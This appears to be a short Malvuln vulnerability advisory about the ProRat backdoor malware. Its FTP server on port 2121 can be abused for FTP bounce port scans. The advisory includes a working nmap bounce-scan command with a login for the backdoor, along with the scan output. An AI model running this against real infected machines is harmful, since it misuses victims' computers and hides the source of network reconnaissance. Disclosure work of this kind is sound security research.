Backdoor.Win32.Prorat.lkt Man-In-The-Middle

Backdoor.Win32.Prorat.lkt malware suffers from a man-in-the-middle vulnerability.

MD5 | 339a551760a93498ae17e10e2c944180

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Prorat.lkt
Vulnerability: Port Bounce Scan (MITM)
Description: The ProSpy Server V1.9 malware runs an FTP component that listens on TCP port 2121. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: dec8f9042986d64e29d62effb482290b
Vuln ID: MVID-2021-0361
Dropped files: dxdiag.exe
Disclosure: 10/04/2021

nmap -n -Pn -b special:[email protected]:2121 -p21,22,80
Starting Nmap 7.80 ( ) at 2021-10-04 13:22 Pacific Daylight Time
Nmap scan report for
Host is up.

21/tcp closed ftp
22/tcp closed ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 11.25 seconds

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